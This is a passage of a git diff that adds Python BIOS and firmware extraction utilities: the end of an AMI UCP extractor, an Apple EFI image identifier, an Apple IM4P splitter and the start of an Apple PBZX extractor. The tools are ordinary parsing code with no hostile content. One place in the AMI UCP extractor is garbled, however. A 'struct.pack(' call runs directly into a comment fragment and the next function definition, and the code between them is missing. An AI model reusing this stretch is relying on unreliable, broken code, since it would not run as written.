'@UAF' # Tag of largest detected @UAF|@HPU + + for uaf in PAT_AMI_UCP.finditer(buffer): + uaf_len_cur = int.from_bytes(buffer[uaf.start() + 0x4:uaf.start() + 0x8], 'little') + + if uaf_len_cur > uaf_len_max: + uaf_len_max = uaf_len_cur + uaf_hdr_off = uaf.start() + uaf_buf_bin = buffer[uaf_hdr_off:uaf_hdr_off + uaf_len_max] + uaf_buf_tag = uaf.group(0)[:4].decode('utf-8','ignore') + + return uaf_buf_bin, uaf_buf_tag + +# Get list of @UAF|@HPU Modules +def get_uaf_mod(buffer, uaf_off=0x0): + uaf_all = [] # Initialize list of all @UAF|@HPU Modules + + while buffer[uaf_off] == 0x40: # ASCII of @ is 0x40 + uaf_hdr = get_struct(buffer, uaf_off, UafHeader) # Parse @UAF|@HPU Module Structure + + uaf_tag = uaf_hdr.ModuleTag.decode('utf-8') # Get unique @UAF|@HPU Module Tag + + uaf_all.append([uaf_tag, uaf_off, uaf_hdr]) # Store @UAF|@HPU Module Info + + uaf_off += uaf_hdr.ModuleSize # Adjust to next @UAF|@HPU Module offset + + if uaf_off >= len(buffer): + break # Stop parsing at EOF + + # Check if @UAF|@HPU Module @NAL exists and place it first + # Parsing @NAL first allows naming all @UAF|@HPU Modules + for mod_idx,mod_val in enumerate(uaf_all): + if mod_val[0] == '@NAL': + uaf_all.insert(1, uaf_all.pop(mod_idx)) # After UII for visual purposes + + break # @NAL found, skip the rest + + return uaf_all + +# Parse & Extract AMI UCP structures +def ucp_extract(in_file, extract_path, padding=0, checksum=False): + input_buffer = file_to_bytes(in_file) + + nal_dict = {} # Initialize @NAL Dictionary per UCP + + printer('Utility Configuration Program', padding) + + make_dirs(extract_path, delete=True) + + # Get best AMI UCP Pattern match based on @UAF|@HPU Size + ucp_buffer,ucp_tag = get_ami_ucp(input_buffer) + + uaf_hdr = get_struct(ucp_buffer, 0, UafHeader) # Parse @UAF|@HPU Header Structure + + printer(f'Utility Auxiliary File > {ucp_tag}:\n', padding + 4) + + uaf_hdr.struct_print(padding + 8) + + fake = struct.pack(' @UAF|@HPU Module/Section +def uaf_extract(buffer, extract_path, mod_info, padding=0, checksum=False, nal_dict=None): + if nal_dict is None: + nal_dict = {} + + uaf_tag,uaf_off,uaf_hdr = mod_info + + uaf_data_all = buffer[uaf_off:uaf_off + uaf_hdr.ModuleSize] # @UAF|@HPU Module Entire Data + + uaf_data_mod = uaf_data_all[UAF_HDR_LEN:] # @UAF|@HPU Module EFI Data + + uaf_data_raw = uaf_data_mod[UAF_MOD_LEN:] # @UAF|@HPU Module Raw Data + + printer(f'Utility Auxiliary File > {uaf_tag}:\n', padding) + + uaf_hdr.struct_print(padding + 4) # Print @UAF|@HPU Module Info + + uaf_mod = get_struct(buffer, uaf_off + UAF_HDR_LEN, UafModule) # Parse UAF Module EFI Structure + + is_comp = uaf_mod.CompressSize != uaf_mod.OriginalSize # Detect @UAF|@HPU Module EFI Compression + + if uaf_tag in nal_dict: + uaf_name = nal_dict[uaf_tag][1] # Always prefer @NAL naming first + elif uaf_tag in UAF_TAG_DICT: + uaf_name = UAF_TAG_DICT[uaf_tag][0] # Otherwise use built-in naming + elif uaf_tag == '@ROM': + uaf_name = 'BIOS.bin' # BIOS/PFAT Firmware (w/o Signature) + elif uaf_tag.startswith('@R0'): + uaf_name = f'BIOS_0{uaf_tag[3:]}.bin' # BIOS/PFAT Firmware + elif uaf_tag.startswith('@S0'): + uaf_name = f'BIOS_0{uaf_tag[3:]}.sig' # BIOS/PFAT Signature + elif uaf_tag.startswith('@DR'): + uaf_name = f'DROM_0{uaf_tag[3:]}.bin' # Thunderbolt Retimer Firmware + elif uaf_tag.startswith('@DS'): + uaf_name = f'DROM_0{uaf_tag[3:]}.sig' # Thunderbolt Retimer Signature + elif uaf_tag.startswith('@EC'): + uaf_name = f'EC_0{uaf_tag[3:]}.bin' # Embedded Controller Firmware + elif uaf_tag.startswith('@ME'): + uaf_name = f'ME_0{uaf_tag[3:]}.bin' # Management Engine Firmware + else: + uaf_name = uaf_tag # Could not name the @UAF|@HPU Module, use Tag instead + + uaf_fext = '' if uaf_name != uaf_tag else '.bin' + + uaf_fdesc = UAF_TAG_DICT[uaf_tag][1] if uaf_tag in UAF_TAG_DICT else uaf_name + + uaf_mod.struct_print(padding + 4, uaf_name + uaf_fext, uaf_fdesc) # Print @UAF|@HPU Module EFI Info + + # Check if unknown @UAF|@HPU Module Tag is present in @NAL but not in built-in dictionary + if uaf_tag in nal_dict and uaf_tag not in UAF_TAG_DICT and not uaf_tag.startswith(('@ROM','@R0','@S0','@DR','@DS')): + printer(f'Note: Detected new AMI UCP Module {uaf_tag} ({nal_dict[uaf_tag][1]}) in @NAL!', padding + 4, pause=True) + + # Generate @UAF|@HPU Module File name, depending on whether decompression will be required + uaf_sname = safe_name(uaf_name + ('.temp' if is_comp else uaf_fext)) + if uaf_tag in nal_dict: + uaf_npath = safe_path(extract_path, nal_dict[uaf_tag][0]) + make_dirs(uaf_npath, exist_ok=True) + uaf_fname = safe_path(uaf_npath, uaf_sname) + else: + uaf_fname = safe_path(extract_path, uaf_sname) + + if checksum: + chk16_validate(uaf_data_all, uaf_tag, padding + 4) + + # Parse Utility Identification Information @UAF|@HPU Module (@UII) + if uaf_tag == '@UII': + info_hdr = get_struct(uaf_data_raw, 0, UiiHeader) # Parse @UII Module Raw Structure + + info_data = uaf_data_raw[max(UII_HDR_LEN,info_hdr.InfoSize):info_hdr.UIISize] # @UII Module Info Data + + # Get @UII Module Info/Description text field + info_desc = info_data.decode('utf-8','ignore').strip('\x00 ') + + printer('Utility Identification Information:\n', padding + 4) + + info_hdr.struct_print(padding + 8, info_desc) # Print @UII Module Info + + if checksum: + chk16_validate(uaf_data_raw, '@UII > Info', padding + 8) + + # Store/Save @UII Module Info in file + with open(uaf_fname[:-4] + '.txt', 'a', encoding='utf-8') as uii_out: + with contextlib.redirect_stdout(uii_out): + info_hdr.struct_print(0, info_desc) # Store @UII Module Info + + # Adjust @UAF|@HPU Module Raw Data for extraction + if is_comp: + # Some Compressed @UAF|@HPU Module EFI data lack necessary EOF padding + if uaf_mod.CompressSize > len(uaf_data_raw): + comp_padd = b'\x00' * (uaf_mod.CompressSize - len(uaf_data_raw)) + uaf_data_raw = uaf_data_mod[:UAF_MOD_LEN] + uaf_data_raw + comp_padd # Add missing padding for decompression + else: + uaf_data_raw = uaf_data_mod[:UAF_MOD_LEN] + uaf_data_raw # Add the EFI/Tiano Compression info before Raw Data + else: + uaf_data_raw = uaf_data_raw[:uaf_mod.OriginalSize] # No compression, extend to end of Original @UAF|@HPU Module size + + # Store/Save @UAF|@HPU Module file + if uaf_tag != '@UII': # Skip @UII binary, already parsed + with open(uaf_fname, 'wb') as uaf_out: + uaf_out.write(uaf_data_raw) + + # @UAF|@HPU Module EFI/Tiano Decompression + if is_comp and is_efi_compressed(uaf_data_raw, False): + dec_fname = uaf_fname.replace('.temp', uaf_fext) # Decompressed @UAF|@HPU Module file path + + if efi_decompress(uaf_fname, dec_fname, padding + 4) == 0: + with open(dec_fname, 'rb') as dec: + uaf_data_raw = dec.read() # Read back the @UAF|@HPU Module decompressed Raw data + + os.remove(uaf_fname) # Successful decompression, delete compressed @UAF|@HPU Module file + + uaf_fname = dec_fname # Adjust @UAF|@HPU Module file path to the decompressed one + + # Process and Print known text only @UAF|@HPU Modules (after EFI/Tiano Decompression) + if uaf_tag in UAF_TAG_DICT and UAF_TAG_DICT[uaf_tag][2] == 'Text': + printer(f'{UAF_TAG_DICT[uaf_tag][1]}:', padding + 4) + printer(uaf_data_raw.decode('utf-8','ignore'), padding + 8) + + # Parse Default Command Status @UAF|@HPU Module (@DIS) + if len(uaf_data_raw) and uaf_tag == '@DIS': + dis_hdr = get_struct(uaf_data_raw, 0x0, DisHeader) # Parse @DIS Module Raw Header Structure + + printer('Default Command Status Header:\n', padding + 4) + + dis_hdr.struct_print(padding + 8) # Print @DIS Module Raw Header Info + + # Store/Save @DIS Module Header Info in file + with open(uaf_fname[:-3] + 'txt', 'a', encoding='utf-8') as dis: + with contextlib.redirect_stdout(dis): + dis_hdr.struct_print(0) # Store @DIS Module Header Info + + dis_data = uaf_data_raw[DIS_HDR_LEN:] # @DIS Module Entries Data + + # Parse all @DIS Module Entries + for mod_idx in range(dis_hdr.EntryCount): + dis_mod = get_struct(dis_data, mod_idx * DIS_MOD_LEN, DisModule) # Parse @DIS Module Raw Entry Structure + + printer(f'Default Command Status Entry {mod_idx + 1:02d}/{dis_hdr.EntryCount:02d}:\n', padding + 8) + + dis_mod.struct_print(padding + 12) # Print @DIS Module Raw Entry Info + + # Store/Save @DIS Module Entry Info in file + with open(uaf_fname[:-3] + 'txt', 'a', encoding='utf-8') as dis: + with contextlib.redirect_stdout(dis): + printer() + dis_mod.struct_print(4) # Store @DIS Module Entry Info + + os.remove(uaf_fname) # Delete @DIS Module binary, info exported as text + + # Parse Name List @UAF|@HPU Module (@NAL) + if len(uaf_data_raw) >= 5 and (uaf_tag,uaf_data_raw[0],uaf_data_raw[4]) == ('@NAL',0x40,0x3A): + nal_info = uaf_data_raw.decode('utf-8','ignore').replace('\r','').strip().split('\n') + + printer('AMI UCP Module Name List:\n', padding + 4) + + # Parse all @NAL Module Entries + for info in nal_info: + info_tag,info_value = info.split(':',1) + + printer(f'{info_tag} : {info_value}', padding + 8, False) # Print @NAL Module Tag-Path Info + + info_part = agnostic_path(info_value).parts # Split OS agnostic path in parts + info_path = to_string(info_part[1:-1], os.sep) # Get path without drive/root or file + info_name = info_part[-1] # Get file from last path part + + nal_dict[info_tag] = (info_path,info_name) # Assign a file path & name to each Tag + + # Parse Insyde BIOS @UAF|@HPU Module (@INS) + if uaf_tag == '@INS' and is_insyde_ifd(uaf_fname): + ins_dir = os.path.join(extract_path, safe_name(f'{uaf_tag}_nested-IFD')) # Generate extraction directory + + if insyde_ifd_extract(uaf_fname, get_extract_path(ins_dir), padding + 4) == 0: + os.remove(uaf_fname) # Delete raw nested Insyde IFD image after successful extraction + + # Detect & Unpack AMI BIOS Guard (PFAT) BIOS image + if is_ami_pfat(uaf_data_raw): + pfat_dir = os.path.join(extract_path, safe_name(uaf_name)) + + parse_pfat_file(uaf_data_raw, get_extract_path(pfat_dir), padding + 4) + + os.remove(uaf_fname) # Delete raw PFAT BIOS image after successful extraction + + # Detect Intel Engine firmware image and show ME Analyzer advice + if uaf_tag.startswith('@ME') and PAT_INTEL_ENG.search(uaf_data_raw): + printer('Intel Management Engine (ME) Firmware:\n', padding + 4) + printer('Use "ME Analyzer" from https://github.com/platomav/MEAnalyzer', padding + 8, False) + + # Parse Nested AMI UCP image + if is_ami_ucp(uaf_data_raw): + uaf_dir = os.path.join(extract_path, safe_name(f'{uaf_tag}_nested-UCP')) # Generate extraction directory + + ucp_extract(uaf_data_raw, get_extract_path(uaf_dir), padding + 4, checksum) # Call recursively + + os.remove(uaf_fname) # Delete raw nested AMI UCP image after successful extraction + + return nal_dict + +# Get common ctypes Structure Sizes +UAF_HDR_LEN = ctypes.sizeof(UafHeader) +UAF_MOD_LEN = ctypes.sizeof(UafModule) +DIS_HDR_LEN = ctypes.sizeof(DisHeader) +DIS_MOD_LEN = ctypes.sizeof(DisModule) +UII_HDR_LEN = ctypes.sizeof(UiiHeader) + +# AMI UCP Tag Dictionary +UAF_TAG_DICT = { + '@3FI' : ['HpBiosUpdate32.efi', 'HpBiosUpdate32.efi', ''], + '@3S2' : ['HpBiosUpdate32.s12', 'HpBiosUpdate32.s12', ''], + '@3S4' : ['HpBiosUpdate32.s14', 'HpBiosUpdate32.s14', ''], + '@3S9' : ['HpBiosUpdate32.s09', 'HpBiosUpdate32.s09', ''], + '@3SG' : ['HpBiosUpdate32.sig', 'HpBiosUpdate32.sig', ''], + '@AMI' : ['UCP_Nested.bin', 'Nested AMI UCP', ''], + '@B12' : ['BiosMgmt.s12', 'BiosMgmt.s12', ''], + '@B14' : ['BiosMgmt.s14', 'BiosMgmt.s14', ''], + '@B32' : ['BiosMgmt32.s12', 'BiosMgmt32.s12', ''], + '@B34' : ['BiosMgmt32.s14', 'BiosMgmt32.s14', ''], + '@B39' : ['BiosMgmt32.s09', 'BiosMgmt32.s09', ''], + '@B3E' : ['BiosMgmt32.efi', 'BiosMgmt32.efi', ''], + '@BM9' : ['BiosMgmt.s09', 'BiosMgmt.s09', ''], + '@BME' : ['BiosMgmt.efi', 'BiosMgmt.efi', ''], + '@CKV' : ['Check_Version.txt', 'Check Version', 'Text'], + '@CMD' : ['AFU_Command.txt', 'AMI AFU Command', 'Text'], + '@CML' : ['CMOSD4.txt', 'CMOS Item Number-Value (MSI)', 'Text'], + '@CMS' : ['CMOSD4.exe', 'Get or Set CMOS Item (MSI)', ''], + '@CPM' : ['AC_Message.txt', 'Confirm Power Message', ''], + '@DCT' : ['DevCon32.exe', 'Device Console WIN32', ''], + '@DCX' : ['DevCon64.exe', 'Device Console WIN64', ''], + '@DFE' : ['HpDevFwUpdate.efi', 'HpDevFwUpdate.efi', ''], + '@DFS' : ['HpDevFwUpdate.s12', 'HpDevFwUpdate.s12', ''], + '@DIS' : ['Command_Status.bin', 'Default Command Status', ''], + '@ENB' : ['ENBG64.exe', 'ENBG64.exe', ''], + '@HPU' : ['UCP_Main.bin', 'Utility Auxiliary File (HP)', ''], + '@INS' : ['Insyde_Nested.bin', 'Nested Insyde SFX', ''], + '@M32' : ['HpBiosMgmt32.s12', 'HpBiosMgmt32.s12', ''], + '@M34' : ['HpBiosMgmt32.s14', 'HpBiosMgmt32.s14', ''], + '@M39' : ['HpBiosMgmt32.s09', 'HpBiosMgmt32.s09', ''], + '@M3I' : ['HpBiosMgmt32.efi', 'HpBiosMgmt32.efi', ''], + '@MEC' : ['FWUpdLcl.txt', 'Intel FWUpdLcl Command', 'Text'], + '@MED' : ['FWUpdLcl_DOS.exe', 'Intel FWUpdLcl DOS', ''], + '@MET' : ['FWUpdLcl_WIN32.exe', 'Intel FWUpdLcl WIN32', ''], + '@MFI' : ['HpBiosMgmt.efi', 'HpBiosMgmt.efi', ''], + '@MS2' : ['HpBiosMgmt.s12', 'HpBiosMgmt.s12', ''], + '@MS4' : ['HpBiosMgmt.s14', 'HpBiosMgmt.s14', ''], + '@MS9' : ['HpBiosMgmt.s09', 'HpBiosMgmt.s09', ''], + '@NAL' : ['UCP_List.txt', 'AMI UCP Module Name List', ''], + '@OKM' : ['OK_Message.txt', 'OK Message', ''], + '@PFC' : ['BGT_Command.txt', 'AMI BGT Command', 'Text'], + '@R3I' : ['CryptRSA32.efi', 'CryptRSA32.efi', ''], + '@RFI' : ['CryptRSA.efi', 'CryptRSA.efi', ''], + '@UAF' : ['UCP_Main.bin', 'Utility Auxiliary File (AMI)', ''], + '@UFI' : ['HpBiosUpdate.efi', 'HpBiosUpdate.efi', ''], + '@UII' : ['UCP_Info.txt', 'Utility Identification Information', ''], + '@US2' : ['HpBiosUpdate.s12', 'HpBiosUpdate.s12', ''], + '@US4' : ['HpBiosUpdate.s14', 'HpBiosUpdate.s14', ''], + '@US9' : ['HpBiosUpdate.s09', 'HpBiosUpdate.s09', ''], + '@USG' : ['HpBiosUpdate.sig', 'HpBiosUpdate.sig', ''], + '@VER' : ['OEM_Version.txt', 'OEM Version', 'Text'], + '@VXD' : ['amifldrv.vxd', 'amifldrv.vxd', ''], + '@W32' : ['amifldrv32.sys', 'amifldrv32.sys', ''], + '@W64' : ['amifldrv64.sys', 'amifldrv64.sys', ''], + } + +if __name__ == '__main__': + utility = BIOSUtility(TITLE, is_ami_ucp, ucp_extract) + utility.parse_argument('-c', '--checksum', help='verify AMI UCP Checksums (slow)', action='store_true') + utility.run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_ID.py b/blobs/t480/biosutilities/Apple_EFI_ID.py new file mode 100644 index 000000000..1003b6766 --- /dev/null +++ b/blobs/t480/biosutilities/Apple_EFI_ID.py @@ -0,0 +1,167 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Apple EFI ID +Apple EFI Image Identifier +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Apple EFI Image Identifier v2.0_a5' + +import os +import sys +import zlib +import struct +import ctypes +import subprocess + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.externals import get_uefifind_path, get_uefiextract_path +from common.path_ops import del_dirs, path_parent, path_suffixes +from common.patterns import PAT_APPLE_EFI +from common.struct_ops import char, get_struct, uint8_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +class IntelBiosId(ctypes.LittleEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Signature', char*8), # 0x00 + ('BoardID', uint8_t*16), # 0x08 + ('Dot1', uint8_t*2), # 0x18 + ('BoardExt', uint8_t*6), # 0x1A + ('Dot2', uint8_t*2), # 0x20 + ('VersionMajor', uint8_t*8), # 0x22 + ('Dot3', uint8_t*2), # 0x2A + ('BuildType', uint8_t*2), # 0x2C + ('VersionMinor', uint8_t*4), # 0x2E + ('Dot4', uint8_t*2), # 0x32 + ('Year', uint8_t*4), # 0x34 + ('Month', uint8_t*4), # 0x38 + ('Day', uint8_t*4), # 0x3C + ('Hour', uint8_t*4), # 0x40 + ('Minute', uint8_t*4), # 0x44 + ('NullTerminator', uint8_t*2), # 0x48 + # 0x4A + ] + + # https://github.com/tianocore/edk2-platforms/blob/master/Platform/Intel/BoardModulePkg/Include/Guid/BiosId.h + + @staticmethod + def decode(field): + return struct.pack('B' * len(field), *field).decode('utf-16','ignore').strip('\x00 ') + + def get_bios_id(self): + BoardID = self.decode(self.BoardID) + BoardExt = self.decode(self.BoardExt) + VersionMajor = self.decode(self.VersionMajor) + BuildType = self.decode(self.BuildType) + VersionMinor = self.decode(self.VersionMinor) + BuildDate = f'20{self.decode(self.Year)}-{self.decode(self.Month)}-{self.decode(self.Day)}' + BuildTime = f'{self.decode(self.Hour)}-{self.decode(self.Minute)}' + + return BoardID, BoardExt, VersionMajor, BuildType, VersionMinor, BuildDate, BuildTime + + def struct_print(self, p): + BoardID,BoardExt,VersionMajor,BuildType,VersionMinor,BuildDate,BuildTime = self.get_bios_id() + + printer(['Intel Signature:', self.Signature.decode('utf-8')], p, False) + printer(['Board Identity: ', BoardID], p, False) + printer(['Apple Identity: ', BoardExt], p, False) + printer(['Major Version: ', VersionMajor], p, False) + printer(['Minor Version: ', VersionMinor], p, False) + printer(['Build Type: ', BuildType], p, False) + printer(['Build Date: ', BuildDate], p, False) + printer(['Build Time: ', BuildTime.replace('-',':')], p, False) + +# Check if input is Apple EFI image +def is_apple_efi(input_file): + input_buffer = file_to_bytes(input_file) + + if PAT_APPLE_EFI.search(input_buffer): + return True + + if not os.path.isfile(input_file): + return False + + try: + _ = subprocess.run([get_uefifind_path(), input_file, 'body', 'list', PAT_UEFIFIND], + check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + + return True + except Exception: + return False + +# Parse & Identify (or Rename) Apple EFI image +def apple_efi_identify(input_file, extract_path, padding=0, rename=False): + if not os.path.isfile(input_file): + printer('Error: Could not find input file path!', padding) + + return 1 + + input_buffer = file_to_bytes(input_file) + + bios_id_match = PAT_APPLE_EFI.search(input_buffer) # Detect $IBIOSI$ pattern + + if bios_id_match: + bios_id_res = f'0x{bios_id_match.start():X}' + + bios_id_hdr = get_struct(input_buffer, bios_id_match.start(), IntelBiosId) + else: + # The $IBIOSI$ pattern is within EFI compressed modules so we need to use UEFIFind and UEFIExtract + try: + bios_id_res = subprocess.check_output([get_uefifind_path(), input_file, 'body', 'list', PAT_UEFIFIND], + text=True)[:36] + + del_dirs(extract_path) # UEFIExtract must create its output folder itself, make sure it is not present + + _ = subprocess.run([get_uefiextract_path(), input_file, bios_id_res, '-o', extract_path, '-m', 'body'], + check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) + + with open(os.path.join(extract_path, 'body.bin'), 'rb') as raw_body: + body_buffer = raw_body.read() + + bios_id_match = PAT_APPLE_EFI.search(body_buffer) # Detect decompressed $IBIOSI$ pattern + + bios_id_hdr = get_struct(body_buffer, bios_id_match.start(), IntelBiosId) + + del_dirs(extract_path) # Successful UEFIExtract extraction, remove its output (temp) folder + except Exception: + printer('Error: Failed to parse compressed $IBIOSI$ pattern!', padding) + + return 2 + + printer(f'Detected $IBIOSI$ at {bios_id_res}\n', padding) + + bios_id_hdr.struct_print(padding + 4) + + if rename: + input_parent = path_parent(input_file) + + input_suffix = path_suffixes(input_file)[-1] + + input_adler32 = zlib.adler32(input_buffer) + + ID,Ext,Major,Type,Minor,Date,Time = bios_id_hdr.get_bios_id() + + output_name = f'{ID}_{Ext}_{Major}_{Type}{Minor}_{Date}_{Time}_{input_adler32:08X}{input_suffix}' + + output_file = os.path.join(input_parent, output_name) + + if not os.path.isfile(output_file): + os.replace(input_file, output_file) # Rename input file based on its EFI tag + + printer(f'Renamed to {output_name}', padding) + + return 0 + +PAT_UEFIFIND = f'244942494F534924{"."*32}2E00{"."*12}2E00{"."*16}2E00{"."*12}2E00{"."*40}0000' + +if __name__ == '__main__': + utility = BIOSUtility(TITLE, is_apple_efi, apple_efi_identify) + utility.parse_argument('-r', '--rename', help='rename EFI image based on its tag', action='store_true') + utility.run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_IM4P.py b/blobs/t480/biosutilities/Apple_EFI_IM4P.py new file mode 100644 index 000000000..5dceefa31 --- /dev/null +++ b/blobs/t480/biosutilities/Apple_EFI_IM4P.py @@ -0,0 +1,145 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Apple EFI IM4P +Apple EFI IM4P Splitter +Copyright (C) 2018-2022 Plato Mavropoulos +""" + +TITLE = 'Apple EFI IM4P Splitter v3.0_a5' + +import os +import sys + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.path_ops import make_dirs, path_stem +from common.patterns import PAT_APPLE_IM4P, PAT_INTEL_IFD +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +# Check if input is Apple EFI IM4P image +def is_apple_im4p(input_file): + input_buffer = file_to_bytes(input_file) + + is_im4p = PAT_APPLE_IM4P.search(input_buffer) + + is_ifd = PAT_INTEL_IFD.search(input_buffer) + + return bool(is_im4p and is_ifd) + +# Parse & Split Apple EFI IM4P image +def apple_im4p_split(input_file, extract_path, padding=0): + exit_codes = [] + + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + # Detect IM4P EFI pattern + im4p_match = PAT_APPLE_IM4P.search(input_buffer) + + # After IM4P mefi (0x15), multi EFI payloads have _MEFIBIN (0x100) but is difficult to RE w/o varying samples. + # However, _MEFIBIN is not required for splitting SPI images due to Intel Flash Descriptor Components Density. + + # IM4P mefi payload start offset + mefi_data_bgn = im4p_match.start() + input_buffer[im4p_match.start() - 0x1] + + # IM4P mefi payload size + mefi_data_len = int.from_bytes(input_buffer[im4p_match.end() + 0x5:im4p_match.end() + 0x9], 'big') + + # Check if mefi is followed by _MEFIBIN + mefibin_exist = input_buffer[mefi_data_bgn:mefi_data_bgn + 0x8] == b'_MEFIBIN' + + # Actual multi EFI payloads start after _MEFIBIN + efi_data_bgn = mefi_data_bgn + 0x100 if mefibin_exist else mefi_data_bgn + + # Actual multi EFI payloads size without _MEFIBIN + efi_data_len = mefi_data_len - 0x100 if mefibin_exist else mefi_data_len + + # Adjust input file buffer to actual multi EFI payloads data + input_buffer = input_buffer[efi_data_bgn:efi_data_bgn + efi_data_len] + + # Parse Intel Flash Descriptor pattern matches + for ifd in PAT_INTEL_IFD.finditer(input_buffer): + # Component Base Address from FD start (ICH8-ICH10 = 1, IBX = 2, CPT+ = 3) + ifd_flmap0_fcba = input_buffer[ifd.start() + 0x4] * 0x10 + + # I/O Controller Hub (ICH) + if ifd_flmap0_fcba == 0x10: + # At ICH, Flash Descriptor starts at 0x0 + ifd_bgn_substruct = 0x0 + + # 0xBC for [0xAC] + 0xFF * 16 sanity check + ifd_end_substruct = 0xBC + + # Platform Controller Hub (PCH) + else: + # At PCH, Flash Descriptor starts at 0x10 + ifd_bgn_substruct = 0x10 + + # 0xBC for [0xAC] + 0xFF * 16 sanity check + ifd_end_substruct = 0xBC + + # Actual Flash Descriptor Start Offset + ifd_match_start = ifd.start() - ifd_bgn_substruct + + # Actual Flash Descriptor End Offset + ifd_match_end = ifd.end() - ifd_end_substruct + + # Calculate Intel Flash Descriptor Flash Component Total Size + + # Component Count (00 = 1, 01 = 2) + ifd_flmap0_nc = ((int.from_bytes(input_buffer[ifd_match_end:ifd_match_end + 0x4], 'little') >> 8) & 3) + 1 + + # PCH/ICH Strap Length (ME 2-8 & TXE 0-2 & SPS 1-2 <= 0x12, ME 9+ & TXE 3+ & SPS 3+ >= 0x13) + ifd_flmap1_isl = input_buffer[ifd_match_end + 0x7] + + # Component Density Byte (ME 2-8 & TXE 0-2 & SPS 1-2 = 0:5, ME 9+ & TXE 3+ & SPS 3+ = 0:7) + ifd_comp_den = input_buffer[ifd_match_start + ifd_flmap0_fcba] + + # Component 1 Density Bits (ME 2-8 & TXE 0-2 & SPS 1-2 = 3, ME 9+ & TXE 3+ & SPS 3+ = 4) + ifd_comp_1_bitwise = 0xF if ifd_flmap1_isl >= 0x13 else 0x7 + + # Component 2 Density Bits (ME 2-8 & TXE 0-2 & SPS 1-2 = 3, ME 9+ & TXE 3+ & SPS 3+ = 4) + ifd_comp_2_bitwise = 0x4 if ifd_flmap1_isl >= 0x13 else 0x3 + + # Component 1 Density (FCBA > C0DEN) + ifd_comp_all_size = IFD_COMP_LEN[ifd_comp_den & ifd_comp_1_bitwise] + + # Component 2 Density (FCBA > C1DEN) + if ifd_flmap0_nc == 2: + ifd_comp_all_size += IFD_COMP_LEN[ifd_comp_den >> ifd_comp_2_bitwise] + + ifd_data_bgn = ifd_match_start + ifd_data_end = ifd_data_bgn + ifd_comp_all_size + ifd_data_txt = f'0x{ifd_data_bgn:07X}-0x{ifd_data_end:07X}' + + output_data = input_buffer[ifd_data_bgn:ifd_data_end] + + output_size = len(output_data) + + output_name = path_stem(input_file) if os.path.isfile(input_file) else 'Part' + + output_path = os.path.join(extract_path, f'{output_name}_[{ifd_data_txt}].fd') + + with open(output_path, 'wb') as output_image: + output_image.write(output_data) + + printer(f'Split Apple EFI image at {ifd_data_txt}!', padding) + + if output_size != ifd_comp_all_size: + printer(f'Error: Bad image size 0x{output_size:07X}, expected 0x{ifd_comp_all_size:07X}!', padding + 4) + + exit_codes.append(1) + + return sum(exit_codes) + +# Intel Flash Descriptor Component Sizes (4MB, 8MB, 16MB and 32MB) +IFD_COMP_LEN = {3: 0x400000, 4: 0x800000, 5: 0x1000000, 6: 0x2000000} + +if __name__ == '__main__': + BIOSUtility(TITLE, is_apple_im4p, apple_im4p_split).run_utility() diff --git a/blobs/t480/biosutilities/Apple_EFI_PBZX.py b/blobs/t480/biosutilities/Apple_EFI_PBZX.py new file mode 100644 index 000000000..8e4f55364 --- /dev/null +++ b/blobs/t480/biosutilities/Apple_EFI_PBZX.py @@ -0,0 +1,118 @@ +#!/usr/bin/env python3 +#coding=utf-8 + +""" +Apple PBZX Extract +Apple EFI PBZX Extractor +Copyright (C) 2021-2022 Plato Mavropoulos +""" + +TITLE = 'Apple EFI PBZX Extractor v1.0_a5' + +import os +import sys +import lzma +import ctypes + +# Stop __pycache__ generation +sys.dont_write_bytecode = True + +from common.comp_szip import is_szip_supported, szip_decompress +from common.path_ops import make_dirs, path_stem +from common.patterns import PAT_APPLE_PBZX +from common.struct_ops import get_struct, uint32_t +from common.system import printer +from common.templates import BIOSUtility +from common.text_ops import file_to_bytes + +class PbzxChunk(ctypes.BigEndianStructure): + _pack_ = 1 + _fields_ = [ + ('Reserved0', uint32_t), # 0x00 + ('InitSize', uint32_t), # 0x04 + ('Reserved1', uint32_t), # 0x08 + ('CompSize', uint32_t), # 0x0C + # 0x10 + ] + + def struct_print(self, p): + printer(['Reserved 0 :', f'0x{self.Reserved0:X}'], p, False) + printer(['Initial Size :', f'0x{self.InitSize:X}'], p, False) + printer(['Reserved 1 :', f'0x{self.Reserved1:X}'], p, False) + printer(['Compressed Size:', f'0x{self.CompSize:X}'], p, False) + +# Check if input is Apple PBZX image +def is_apple_pbzx(input_file): + input_buffer = file_to_bytes(input_file) + + return bool(PAT_APPLE_PBZX.search(input_buffer[:0x4])) + +# Parse & Extract Apple PBZX image +def apple_pbzx_extract(input_file, extract_path, padding=0): + input_buffer = file_to_bytes(input_file) + + make_dirs(extract_path, delete=True) + + cpio_bin = b'' # Initialize PBZX > CPIO Buffer + cpio_len = 0x0 # Initialize PBZX > CPIO Length + + chunk_off = 0xC # First PBZX Chunk starts at 0xC + while chunk_off < len(input_buffer): + chunk_hdr = get_struct(input_buffer, chunk_off, PbzxChunk) + + printer(f'PBZX Chunk at 0x{chunk_off:08X}\n', padding) + + chunk_hdr.struct_print(padding + 4) + + # PBZX Chunk data starts after its Header + comp_bgn = chunk_off + PBZX_CHUNK_HDR_LEN + + # To avoid a potential infinite loop, double-check Compressed Size + comp_end = comp_bgn + max(chunk_hdr.CompSize, PBZX_CHUNK_HDR_LEN) + + comp_bin = input_buffer[comp_bgn:comp_end] + + try: + # Attempt XZ decompression, if applicable to Chunk data + cpio_bin += lzma.LZMADecompressor().decompress(comp_bin) + + printer('Successful LZMA decompression!', padding + 8) + except Exception: + # Otherwise, Chunk data is not compressed + cpio_bin += comp_bin + + # Final CPIO size should match the sum of all Chunks > Initial Size + cpio_len += chunk_hdr.InitSize + + # Next Chunk starts at the end of current Chunk's data + chunk_off = comp_end + + # Check that CPIO size is valid based on all Chunks > Initial Size + if cpio_len != len(cpio_bin): + printer('Error: Unexpected CPIO archive size!', 